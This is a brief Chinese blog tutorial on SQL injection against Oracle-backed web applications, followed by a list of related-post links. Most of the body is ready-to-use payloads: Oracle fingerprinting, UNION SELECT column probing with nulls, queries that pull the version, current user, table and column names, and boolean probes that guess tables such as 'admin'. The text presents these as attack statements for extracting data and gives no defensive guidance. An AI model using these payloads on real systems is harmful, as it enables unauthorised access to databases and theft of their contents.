Sql注入之oracle
Sql注入之oracle
介绍
oracle是由甲骨文公司开发的大型数据库,一般应用于电商,铁路,银行等企业,
它具有如下特点:
- 支持多用户,大事务量处理
- 数据安全性和完整性的有效控制
- 支持分布式数据处理
- 移植性强
常用jsp+oracle
数据库判断
and exists(select * from dual)
或
and exists(select * from user_tables)
联合注入
假设列数为5
union select null,null,null,null,null from dual
注意一定要写null否则会报错
判断非数字列:
- 修改第一个null为数字
union select 1,null,null,null,null from dual
- 界面返回正常,说明第一个为数字列,无法爆我们所需要信息,修改第二个为 数字,复原第一个null
union select null,1,null,null,null from dual
- 界面返回错误,说明第二个为字符列,可以报我们所需要信息,进行攻击
union select null,(select banner from sys.v_$version where rownum=1),null,null,null from dual
- 界面回显出数据库版本,如果没有回显出,则可以继续寻常找非数字列,利用非数字列来爆我们所需信息。
- 常用攻击语句
1.获取数据库版本 select banner from sys.v_$version where rownum =1 2.获取操作系统版本 select member from v$logfile where rownum = 1 3.获取连接数据库的当前用户 select SYS_CONTEXT('USERENV','CURRENT_USER')from dual 4.获取数据库 select owner from all_tables where rownum = 1 5.获取表名 select table_name from user_tables where rownum = 1 6.获取列名 select column_name from user_tab_columns where table_name='admin' and rownum = 1 #admin替换成你需要的表名
其他注入
- 获取表
and (select count(*) from admin)<>0
返回正常则存在admin表,错误则不存在
- 获取列名
and (select count(name) from admin)>=0
返回正常则存在name列,错误则不存在
相关推荐
oraclemch 2020-11-06
Seandba 2020-08-16
dbasunny 2020-08-16
娜娜 2020-06-22
专注前端开发 2020-10-21
苏康申 2020-11-13
vitasfly 2020-11-12
liuyang000 2020-09-25
FellowYourHeart 2020-10-05
赵继业 2020-08-17
whyname 2020-08-16
拼命工作好好玩 2020-08-15
langyue 2020-08-15
写程序的赵童鞋 2020-08-03
Accpcjg 2020-08-02
tydldd 2020-07-30
好记忆也需烂 2020-07-28